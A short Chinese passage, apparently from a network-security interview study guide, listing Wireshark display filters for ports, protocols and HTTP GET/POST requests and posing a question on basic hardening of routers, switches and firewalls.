过滤 80 端⼝: tcp.port==80 , 源端⼝: tcp.srcport==80 , ⽬的端⼝: tcp.dstport==80
协议过滤:
直接输⼊协议名即可, 如 http 协议 https
http 模式过滤:
过滤 get/post 包 http.request.mothod=='GET/POST'
8、防⽕墙
简述路由器交换机、防⽕墙等⽹络设备常⽤的⼏个基础配置加固项,以及配置⽅法。
作者:kevin
如有侵权,请联系删除